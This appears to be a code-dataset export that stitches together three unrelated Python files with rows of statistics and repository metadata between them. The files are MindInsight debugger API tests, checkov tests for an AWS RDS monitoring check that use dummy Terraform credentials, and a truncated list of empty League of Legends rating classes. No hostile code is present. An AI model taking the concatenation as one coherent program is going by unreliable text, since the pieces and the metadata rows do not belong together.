app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get')
assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.'
expect_file = 'compare_tensors.json'
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file, method='get')
send_and_compare_result(app_client, url, body_data, expect_file, method='get')
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_pause(self, app_client):
"""Test pause the training."""
with self._debugger_client.get_thread_instance():
check_state(app_client)
# send run command to execute to next node
url = 'control'
body_data = {'mode': 'continue',
'steps': -1}
res = get_request_result(app_client, url, body_data)
assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}}
# send pause command
check_state(app_client, 'running')
url = 'control'
body_data = {'mode': 'pause'}
res = get_request_result(app_client, url, body_data)
assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}}
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("url, body_data, enable_recheck", [
('create-watchpoint',
{'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]},
'watch_nodes': ['Default']}, True),
('update-watchpoint',
{'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum/Parameter[18]_7'],
'mode': 1}, True),
('update-watchpoint',
{'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum'],
'mode': 1}, True),
('delete-watchpoint', {}, True)
])
def test_recheck(self, app_client, url, body_data, enable_recheck):
"""Test recheck."""
with self._debugger_client.get_thread_instance():
create_watchpoint_and_wait(app_client)
# create watchpoint
res = get_request_result(app_client, url, body_data, method='post')
assert res['metadata']['enable_recheck'] is enable_recheck
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_recommend_watchpoints(self, app_client):
"""Test generating recommended watchpoints."""
original_value = settings.ENABLE_RECOMMENDED_WATCHPOINTS
settings.ENABLE_RECOMMENDED_WATCHPOINTS = True
try:
with self._debugger_client.get_thread_instance():
check_state(app_client)
url = 'retrieve'
body_data = {'mode': 'watchpoint'}
expect_file = 'recommended_watchpoints_at_startup.json'
send_and_compare_result(app_client, url, body_data, expect_file, method='post')
send_terminate_cmd(app_client)
finally:
settings.ENABLE_RECOMMENDED_WATCHPOINTS = original_value
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("body_data, expect_file", [
({'tensor_name': 'Default/TransData-op99:0', 'graph_name': 'graph_0'}, 'retrieve_tensor_graph-0.json'),
({'tensor_name': 'Default/optimizer-Momentum/Parameter[18]_7/moments.fc1.bias:0', 'graph_name': 'graph_0'},
'retrieve_tensor_graph-1.json')
])
def test_retrieve_tensor_graph(self, app_client, body_data, expect_file):
"""Test retrieve tensor graph."""
url = 'tensor-graphs'
with self._debugger_client.get_thread_instance():
create_watchpoint_and_wait(app_client)
get_request_result(app_client, url, body_data, method='GET')
# sleep 0.01 second to wait the tensor update.
time.sleep(0.01)
# check full tensor history from poll data
res = get_request_result(
app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get')
assert res.get('receive_tensor', {}).get('tensor_name') == body_data.get('tensor_name')
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file, method='GET')
send_and_compare_result(app_client, url, body_data, expect_file, method='GET')
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_load(self, app_client):
"""Test load."""
node_name = 'Default/TransData-op99'
with self._debugger_client.get_thread_instance():
check_state(app_client)
# prepare tensor value
url = 'tensor-history'
body_data = {'name': node_name, 'rank_id': 0}
get_request_result(app_client, url, body_data, method='post')
get_request_result(app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get')
url = 'tensor-files/load'
body_data = {'name': 'Default/TransData-op99:0', 'rank_id': 0}
res = get_request_result(app_client, url, body_data, method='post')
assert res == {'node_name': 'Default/TransData-op99:0'}
time.sleep(0.01)
res = get_request_result(
app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get')
assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.'
send_terminate_cmd(app_client)
class TestGPUDebugger:
"""Test debugger on Ascend backend."""
@classmethod
def setup_class(cls):
"""Setup class."""
cls.save_results = False
cls._debugger_client = MockDebuggerClient(backend='GPU')
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_next_node_on_gpu(self, app_client):
"""Test get next node on GPU."""
gpu_debugger_client = MockDebuggerClient(backend='GPU')
check_state(app_client, 'pending')
with gpu_debugger_client.get_thread_instance():
check_state(app_client)
# send run command to get watchpoint hit
url = 'control'
body_data = {'mode': 'continue',
'level': 'node',
'name': 'Default/TransData-op99'}
res = get_request_result(app_client, url, body_data)
assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}}
# get metadata
check_state(app_client)
url = 'retrieve'
body_data = {'mode': 'all'}
expect_file = 'retrieve_next_node_on_gpu.json'
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file)
send_and_compare_result(app_client, url, body_data, expect_file)
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("url, body_data, enable_recheck", [
('create-watchpoint',
{'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]},
'watch_nodes': ['Default']}, True),
('create-watchpoint',
{'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]},
'watch_nodes': ['Default/TransData-op99']}, True),
('update-watchpoint',
{'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum/Parameter[18]_7'],
'mode': 1}, True),
('update-watchpoint',
{'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum'],
'mode': 1}, True),
('update-watchpoint',
[{'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum'],
'mode': 1},
{'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum'],
'mode': 0}
], True),
('update-watchpoint',
[{'watch_point_id': 1, 'watch_nodes': ['Default/TransData-op99'],
'mode': 1},
{'watch_point_id': 1, 'watch_nodes': ['Default/TransData-op99'],
'mode': 0}
], True),
('delete-watchpoint', {'watch_point_id': 1}, True)
])
def test_recheck_state(self, app_client, url, body_data, enable_recheck):
"""Test update watchpoint and check the value of enable_recheck."""
with self._debugger_client.get_thread_instance():
create_watchpoint_and_wait(app_client)
if not isinstance(body_data, list):
body_data = [body_data]
for sub_body_data in body_data:
res = get_request_result(app_client, url, sub_body_data, method='post')
assert res['metadata']['enable_recheck'] is enable_recheck
send_terminate_cmd(app_client)
def test_get_conditions(self, app_client):
"""Test get conditions for gpu."""
url = '/v1/mindinsight/debugger/sessions/0/condition-collections'
body_data = {}
expect_file = 'get_conditions_for_gpu.json'
with self._debugger_client.get_thread_instance():
check_state(app_client)
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file, method='get', full_url=True)
send_and_compare_result(app_client, url, body_data, expect_file, method='get', full_url=True)
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
def test_recheck(self, app_client):
"""Test recheck request."""
with self._debugger_client.get_thread_instance():
create_watchpoint_and_wait(app_client)
# send recheck when disable to do recheck
get_request_result(app_client, 'recheck', {}, method='post', expect_code=400)
# send recheck when enable to do recheck
create_watchpoint(app_client, {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}, 2)
res = get_request_result(app_client, 'recheck', {}, method='post')
assert res['metadata']['enable_recheck'] is False
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("filter_condition, expect_file", [
({'name': 'fc', 'node_category': 'weight'}, 'search_weight.json'),
({'name': 'fc', 'node_category': 'gradient'}, 'search_gradient.json'),
({'node_category': 'activation'}, 'search_activation.json')
])
def test_search_by_category(self, app_client, filter_condition, expect_file):
"""Test recheck request."""
with self._debugger_client.get_thread_instance():
check_state(app_client)
send_and_compare_result(app_client, 'search', filter_condition, expect_file,
method='get')
send_terminate_cmd(app_client)
class TestMultiGraphDebugger:
"""Test debugger on Ascend backend for multi_graph."""
@classmethod
def setup_class(cls):
"""Setup class."""
cls.save_results = False
cls._debugger_client = MockDebuggerClient(backend='Ascend', graph_num=2)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("body_data, expect_file", [
({'mode': 'all'}, 'multi_retrieve_all.json'),
({'mode': 'node', 'params': {'name': 'Default', 'graph_name': 'graph_1'}}, 'retrieve_scope_node.json'),
({'mode': 'node', 'params': {'name': 'graph_0'}}, 'multi_retrieve_scope_node.json'),
({'mode': 'node', 'params': {'name': 'graph_0/Default/optimizer-Momentum/Parameter[18]_7'}},
'multi_retrieve_aggregation_scope_node.json'),
({'mode': 'node', 'params': {
'name': 'graph_0/Default/TransData-op99',
'single_node': True}}, 'multi_retrieve_single_node.json'),
({'mode': 'node', 'params': {
'name': 'Default/TransData-op99',
'single_node': True, 'graph_name': 'graph_0'}}, 'retrieve_single_node.json')
])
def test_multi_retrieve_when_train_begin(self, app_client, body_data, expect_file):
"""Test retrieve when train_begin."""
url = 'retrieve'
check_state(app_client, 'pending')
with self._debugger_client.get_thread_instance():
check_state(app_client)
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file)
send_and_compare_result(app_client, url, body_data, expect_file)
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("filter_condition, expect_file", [
({'name': '', 'node_category': 'weight'}, 'search_weight_multi_graph.json'),
({'node_category': 'activation'}, 'search_activation_multi_graph.json'),
({'node_category': 'gradient'}, 'search_gradient_multi_graph.json')
])
def test_search_by_category_with_multi_graph(self, app_client, filter_condition, expect_file):
"""Test search by category request."""
with self._debugger_client.get_thread_instance():
check_state(app_client)
if self.save_results:
send_and_save_result(app_client, 'search', filter_condition, expect_file, method='get')
send_and_compare_result(app_client, 'search', filter_condition, expect_file, method='get')
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("filter_condition, expect_id", [
({'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]},
'watch_nodes': ['Default/optimizer-Momentum/Parameter[18]_7'],
'graph_name': 'graph_0'}, 1),
({'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]},
'watch_nodes': ['graph_0/Default/optimizer-Momentum/ApplyMomentum[8]_1'],
'graph_name': None}, 1)
])
def test_create_watchpoint(self, app_client, filter_condition, expect_id):
"""Test create watchpoint with multiple graphs."""
url = 'create-watchpoint'
with self._debugger_client.get_thread_instance():
check_state(app_client)
res = get_request_result(app_client, url, filter_condition)
assert res.get('id') == expect_id
send_terminate_cmd(app_client)
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("params, expect_file", [
({'level': 'node'}, 'multi_next_node.json'),
({'level': 'node', 'node_name': 'graph_0/Default/TransData-op99'}, 'multi_next_node.json'),
({'level': 'node', 'node_name': 'Default/TransData-op99', 'graph_name': 'graph_0'},
'multi_next_node.json')
])
def test_continue_on_gpu(self, app_client, params, expect_file):
"""Test get next node on GPU."""
gpu_debugger_client = MockDebuggerClient(backend='GPU', graph_num=2)
original_value = settings.ENABLE_RECOMMENDED_WATCHPOINTS
settings.ENABLE_RECOMMENDED_WATCHPOINTS = True
try:
with gpu_debugger_client.get_thread_instance():
check_state(app_client)
# send run command to get watchpoint hit
url = 'control'
body_data = {'mode': 'continue'}
body_data.update(params)
res = get_request_result(app_client, url, body_data)
assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}}
# get metadata
check_state(app_client)
url = 'retrieve'
body_data = {'mode': 'all'}
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file)
send_and_compare_result(app_client, url, body_data, expect_file)
send_terminate_cmd(app_client)
finally:
settings.ENABLE_RECOMMENDED_WATCHPOINTS = original_value
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("body_data, expect_file", [
({'tensor_name': 'Default/TransData-op99:0', 'graph_name': 'graph_0'}, 'retrieve_tensor_hits-0.json'),
({'tensor_name': 'Default/optimizer-Momentum/Parameter[18]_7/moments.fc1.bias:0', 'graph_name': 'graph_0'},
'retrieve_tensor_hits-1.json')
])
def test_retrieve_tensor_hits(self, app_client, body_data, expect_file):
"""Test retrieve tensor graph."""
url = 'tensor-hits'
with self._debugger_client.get_thread_instance():
check_state(app_client)
if self.save_results:
send_and_save_result(app_client, url, body_data, expect_file, method='GET')
send_and_compare_result(app_client, url, body_data, expect_file, method='GET')
send_terminate_cmd(app_client)
def create_watchpoint(app_client, condition, expect_id):
"""Create watchpoint."""
url = 'create-watchpoint'
body_data = {'condition': condition,
'watch_nodes': ['Default/optimizer-Momentum/Parameter[18]_7',
'Default/optimizer-Momentum/Parameter[18]_7/moments.fc3.bias',
'Default/optimizer-Momentum/Parameter[18]_7/moments.fc1.bias',
'Default/TransData-op99']}
res = get_request_result(app_client, url, body_data)
assert res.get('id') == expect_id
def create_watchpoint_and_wait(app_client):
"""Preparation for recheck."""
check_state(app_client)
create_watchpoint(app_client, condition={'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]},
expect_id=1)
# send run command to get watchpoint hit
url = 'control'
body_data = {'mode': 'continue',
'steps': 2}
res = get_request_result(app_client, url, body_data)
assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}}
# wait for server has received watchpoint hit
check_state(app_client)
class TestMismatchDebugger:
"""Test debugger when Mindinsight and Mindspore is mismatched."""
@classmethod
def setup_class(cls):
"""Setup class."""
cls._debugger_client = MockDebuggerClient(backend='Ascend', ms_version='1.0.0')
@pytest.mark.level0
@pytest.mark.env_single
@pytest.mark.platform_x86_cpu
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_gpu_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.parametrize("body_data, expect_file", [
({'mode': 'all'}, 'version_mismatch.json')
])
def test_retrieve_when_version_mismatch(self, app_client, body_data, expect_file):
"""Test retrieve when train_begin."""
url = 'retrieve'
with self._debugger_client.get_thread_instance():
check_state(app_client, ServerStatus.MISMATCH.value)
send_and_compare_result(app_client, url, body_data, expect_file)
send_terminate_cmd(app_client)
| 46.586207
| 118
| 0.643341
| 4,244
| 35,126
| 4.983506
| 0.066211
| 0.069362
| 0.078298
| 0.068511
| 0.870213
| 0.83182
| 0.796501
| 0.787234
| 0.747376
| 0.731915
| 0
| 0.014629
| 0.233275
| 35,126
| 753
| 119
| 46.648074
| 0.770682
| 0.073279
| 0
| 0.743961
| 0
| 0
| 0.188981
| 0.071769
| 0
| 0
| 0
| 0
| 0.027375
| 1
| 0.05153
| false
| 0
| 0.014493
| 0
| 0.072464
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
16959783b33886ea4ff18ef8af38797a771e28b5
| 3,511
|
py
|
Python
|
tests/terraform/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py
|
jamesholland-uk/checkov
|
d73fd4bd7096d48ab3434a92a177bcc55605460a
|
[
"Apache-2.0"
] | 4,013
|
2019-12-09T13:16:54.000Z
|
2022-03-31T14:31:01.000Z
|
tests/terraform/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py
|
jamesholland-uk/checkov
|
d73fd4bd7096d48ab3434a92a177bcc55605460a
|
[
"Apache-2.0"
] | 1,258
|
2019-12-17T09:55:51.000Z
|
2022-03-31T19:17:17.000Z
|
tests/terraform/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py
|
jamesholland-uk/checkov
|
d73fd4bd7096d48ab3434a92a177bcc55605460a
|
[
"Apache-2.0"
] | 638
|
2019-12-19T08:57:38.000Z
|
2022-03-30T21:38:37.000Z
|
import unittest
import hcl2
from checkov.terraform.checks.resource.aws.RDSEnhancedMonitorEnabled import check
from checkov.common.models.enums import CheckResult
class TestRDSEnhancedMonitorEnabled(unittest.TestCase):
def test_failure1(self):
hcl_res = hcl2.loads("""
resource "aws_db_instance" "default" {
allocated_storage = 10
engine = "mysql"
engine_version = "5.7"
instance_class = "db.t3.micro"
name = "mydb"
username = "foo"
password = "foobarbaz"
parameter_group_name = "default.mysql5.7"
skip_final_snapshot = true
}
""")
resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_failure2(self):
hcl_res = hcl2.loads("""
resource "aws_db_instance" "default" {
allocated_storage = 10
engine = "mysql"
engine_version = "5.7"
instance_class = "db.t3.micro"
name = "mydb"
username = "foo"
password = "foobarbaz"
parameter_group_name = "default.mysql5.7"
skip_final_snapshot = true
monitoring_interval = 0
}
""")
resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_failure3(self):
hcl_res = hcl2.loads("""
resource "aws_db_instance" "default" {
allocated_storage = 10
engine = "mysql"
engine_version = "5.7"
instance_class = "db.t3.micro"
name = "mydb"
username = "foo"
password = "foobarbaz"
parameter_group_name = "default.mysql5.7"
skip_final_snapshot = true
monitoring_interval = "5"
}
""")
resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_success1(self):
hcl_res = hcl2.loads("""
resource "aws_db_instance" "default" {
allocated_storage = 10
engine = "mysql"
engine_version = "5.7"
instance_class = "db.t3.micro"
name = "mydb"
username = "foo"
password = "foobarbaz"
parameter_group_name = "default.mysql5.7"
skip_final_snapshot = true
monitoring_interval = 5
}
""")
resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.PASSED, scan_result)
def test_success2(self):
hcl_res = hcl2.loads("""
resource "aws_db_instance" "default" {
allocated_storage = 10
engine = "mysql"
engine_version = "5.7"
instance_class = "db.t3.micro"
name = "mydb"
username = "foo"
password = "foobarbaz"
parameter_group_name = "default.mysql5.7"
skip_final_snapshot = true
monitoring_interval = 15
}
""")
resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.PASSED, scan_result)
if __name__ == '__main__':
unittest.main()
| 32.813084
| 81
| 0.617488
| 381
| 3,511
| 5.396325
| 0.175853
| 0.087549
| 0.06323
| 0.097276
| 0.868191
| 0.868191
| 0.868191
| 0.868191
| 0.868191
| 0.868191
| 0
| 0.021926
| 0.272572
| 3,511
| 106
| 82
| 33.122642
| 0.783085
| 0
| 0
| 0.78125
| 0
| 0
| 0.585019
| 0
| 0
| 0
| 0
| 0
| 0.052083
| 1
| 0.052083
| false
| 0.072917
| 0.041667
| 0
| 0.104167
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
16ddc67b36536ffca2f69b35b29e9aa905e5bdd0
| 6,821
|
py
|
Python
|
loldib/getratings/models/NA/na_jarvaniv/na_jarvaniv_jng.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_jarvaniv/na_jarvaniv_jng.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_jarvaniv/na_jarvaniv_jng.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
from getratings.models.ratings import Ratings
class NA_JarvanIV_Jng_Aatrox(Ratings):
pass
class NA_JarvanIV_Jng_Ahri(Ratings):
pass
class NA_JarvanIV_Jng_Akali(Ratings):
pass
class NA_JarvanIV_Jng_Alistar(Ratings):
pass
class NA_JarvanIV_Jng_Amumu(Ratings):
pass
class NA_JarvanIV_Jng_Anivia(Ratings):
pass
class NA_JarvanIV_Jng_Annie(Ratings):
pass
class NA_JarvanIV_Jng_Ashe(Ratings):
pass
class NA_JarvanIV_Jng_AurelionSol(Ratings):
pass
class NA_JarvanIV_Jng_Azir(Ratings):
pass
class NA_JarvanIV_Jng_Bard(Ratings):
pass
class NA_JarvanIV_Jng_Blitzcrank(Ratings):
pass
class NA_JarvanIV_Jng_Brand(Ratings):
pass
class NA_JarvanIV_Jng_Braum(Ratings):
pass
class NA_JarvanIV_Jng_Caitlyn(Ratings):
pass
class NA_JarvanIV_Jng_Camille(Ratings):
pass
class NA_JarvanIV_Jng_Cassiopeia(Ratings):
pass
class NA_JarvanIV_Jng_Chogath(Ratings):
pass
class NA_JarvanIV_Jng_Corki(Ratings):
pass
class NA_JarvanIV_Jng_Darius(Ratings):
pass
class NA_JarvanIV_Jng_Diana(Ratings):
pass
class NA_JarvanIV_Jng_Draven(Ratings):
pass
class NA_JarvanIV_Jng_DrMundo(Ratings):
pass
class NA_JarvanIV_Jng_Ekko(Ratings):
pass
class NA_JarvanIV_Jng_Elise(Ratings):
pass
class NA_JarvanIV_Jng_Evelynn(Ratings):
pass
class NA_JarvanIV_Jng_Ezreal(Ratings):
pass
class NA_JarvanIV_Jng_Fiddlesticks(Ratings):
pass
class NA_JarvanIV_Jng_Fiora(Ratings):
pass
class NA_JarvanIV_Jng_Fizz(Ratings):
pass
class NA_JarvanIV_Jng_Galio(Ratings):
pass
class NA_JarvanIV_Jng_Gangplank(Ratings):
pass
class NA_JarvanIV_Jng_Garen(Ratings):
pass
class NA_JarvanIV_Jng_Gnar(Ratings):
pass
class NA_JarvanIV_Jng_Gragas(Ratings):
pass
class NA_JarvanIV_Jng_Graves(Ratings):
pass
class NA_JarvanIV_Jng_Hecarim(Ratings):
pass
class NA_JarvanIV_Jng_Heimerdinger(Ratings):
pass
class NA_JarvanIV_Jng_Illaoi(Ratings):
pass
class NA_JarvanIV_Jng_Irelia(Ratings):
pass
class NA_JarvanIV_Jng_Ivern(Ratings):
pass
class NA_JarvanIV_Jng_Janna(Ratings):
pass
class NA_JarvanIV_Jng_JarvanIV(Ratings):
pass
class NA_JarvanIV_Jng_Jax(Ratings):
pass
class NA_JarvanIV_Jng_Jayce(Ratings):
pass
class NA_JarvanIV_Jng_Jhin(Ratings):
pass
class NA_JarvanIV_Jng_Jinx(Ratings):
pass
class NA_JarvanIV_Jng_Kalista(Ratings):
pass
class NA_JarvanIV_Jng_Karma(Ratings):
pass
class NA_JarvanIV_Jng_Karthus(Ratings):
pass
class NA_JarvanIV_Jng_Kassadin(Ratings):
pass
class NA_JarvanIV_Jng_Katarina(Ratings):
pass
class NA_JarvanIV_Jng_Kayle(Ratings):
pass
class NA_JarvanIV_Jng_Kayn(Ratings):
pass
class NA_JarvanIV_Jng_Kennen(Ratings):
pass
class NA_JarvanIV_Jng_Khazix(Ratings):
pass
class NA_JarvanIV_Jng_Kindred(Ratings):
pass
class NA_JarvanIV_Jng_Kled(Ratings):
pass
class NA_JarvanIV_Jng_KogMaw(Ratings):
pass
class NA_JarvanIV_Jng_Leblanc(Ratings):
pass
class NA_JarvanIV_Jng_LeeSin(Ratings):
pass
class NA_JarvanIV_Jng_Leona(Ratings):
pass
class NA_JarvanIV_Jng_Lissandra(Ratings):
pass
class NA_JarvanIV_Jng_Lucian(Ratings):
pass
class NA_JarvanIV_Jng_Lulu(Ratings):
pass
class NA_JarvanIV_Jng_Lux(Ratings):
pass
class NA_JarvanIV_Jng_Malphite(Ratings):
pass
class NA_JarvanIV_Jng_Malzahar(Ratings):
pass
class NA_JarvanIV_Jng_Maokai(Ratings):
pass
class NA_JarvanIV_Jng_MasterYi(Ratings):
pass
class NA_JarvanIV_Jng_MissFortune(Ratings):
pass
class NA_JarvanIV_Jng_MonkeyKing(Ratings):
pass
class NA_JarvanIV_Jng_Mordekaiser(Ratings):
pass
class NA_JarvanIV_Jng_Morgana(Ratings):
pass
class NA_JarvanIV_Jng_Nami(Ratings):
pass
class NA_JarvanIV_Jng_Nasus(Ratings):
pass
class NA_JarvanIV_Jng_Nautilus(Ratings):
pass
class NA_JarvanIV_Jng_Nidalee(Ratings):
pass
class NA_JarvanIV_Jng_Nocturne(Ratings):
pass
class NA_JarvanIV_Jng_Nunu(Ratings):
pass
class NA_JarvanIV_Jng_Olaf(Ratings):
pass
class NA_JarvanIV_Jng_Orianna(Ratings):
pass
class NA_JarvanIV_Jng_Ornn(Ratings):
pass
class NA_JarvanIV_Jng_Pantheon(Ratings):
pass
class NA_JarvanIV_Jng_Poppy(Ratings):
pass
class NA_JarvanIV_Jng_Quinn(Ratings):
pass
class NA_JarvanIV_Jng_Rakan(Ratings):
pass
class NA_JarvanIV_Jng_Rammus(Ratings):
pass
class NA_JarvanIV_Jng_RekSai(Ratings):
pass
class NA_JarvanIV_Jng_Renekton(Ratings):
pass
class NA_JarvanIV_Jng_Rengar(Ratings):
pass
class NA_JarvanIV_Jng_Riven(Ratings):
pass
class NA_JarvanIV_Jng_Rumble(Ratings):
pass
class NA_JarvanIV_Jng_Ryze(Ratings):
pass
class NA_JarvanIV_Jng_Sejuani(Ratings):
pass
class NA_JarvanIV_Jng_Shaco(Ratings):
pass
class NA_JarvanIV_Jng_Shen(Ratings):
pass
class NA_JarvanIV_Jng_Shyvana(Ratings):
pass
class NA_JarvanIV_Jng_Singed(Ratings):
pass
class NA_JarvanIV_Jng_Sion(Ratings):
pass
class NA_JarvanIV_Jng_Sivir(Ratings):
pass
class NA_JarvanIV_Jng_Skarner(Ratings):
pass
class NA_JarvanIV_Jng_Sona(Ratings):
pass
class NA_JarvanIV_Jng_Soraka(Ratings):
pass
class NA_JarvanIV_Jng_Swain(Ratings):
pass
class NA_JarvanIV_Jng_Syndra(Ratings):
pass
class NA_JarvanIV_Jng_TahmKench(Ratings):
pass
class NA_JarvanIV_Jng_Taliyah(Ratings):
pass
class NA_JarvanIV_Jng_Talon(Ratings):
pass
class NA_JarvanIV_Jng_Taric(Ratings):
pass
class NA_JarvanIV_Jng_Teemo(Ratings):
pass
class NA_JarvanIV_Jng_Thresh(Ratings):
pass
class NA_JarvanIV_Jng_Tristana(Ratings):
pass
class NA_JarvanIV_Jng_Trundle(Ratings):
pass
class NA_JarvanIV_Jng_Tryndamere(Ratings):
pass
class NA_JarvanIV_Jng_TwistedFate(Ratings):
pass
class NA_JarvanIV_Jng_Twitch(Ratings):
pass
class NA_JarvanIV_Jng_Udyr(Ratings):
pass
class NA_JarvanIV_Jng_Urgot(Ratings):
pass
class NA_JarvanIV_Jng_Varus(Ratings):
pass
class NA_JarvanIV_Jng_Vayne(Ratings):
pass
class NA_JarvanIV_Jng_Veigar(Ratings):
pass
class NA_JarvanIV_Jng_Velkoz(Ratings):
pass
class NA_JarvanIV_Jng_Vi(Ratings):
pass
class NA_JarvanIV_Jng_Viktor(Ratings):
pass
class NA_JarvanIV_Jng_Vladimir(Ratings):
pass
class NA_JarvanIV_Jng_Volibear(Ratings):
pass
class NA_JarvanIV_Jng_Warwick(Ratings):
pass
class NA_JarvanIV_Jng_Xayah(Ratings):
pass
